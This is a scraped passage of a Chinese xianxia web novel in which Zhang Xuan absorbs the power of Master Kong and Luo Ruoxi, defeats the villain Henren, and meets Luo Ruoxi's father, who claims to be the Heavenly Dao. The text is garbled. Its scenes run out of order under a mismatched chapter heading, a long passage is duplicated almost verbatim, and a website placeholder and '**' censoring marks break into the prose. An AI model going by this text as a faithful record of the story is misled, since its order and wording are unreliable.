见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经**是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，**顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽**下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会**，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具 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是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，**开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被**出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第三十一章 太后令牌 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中**出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情**，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们**，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以**……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他**……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法**吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法**，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经**是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，**顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 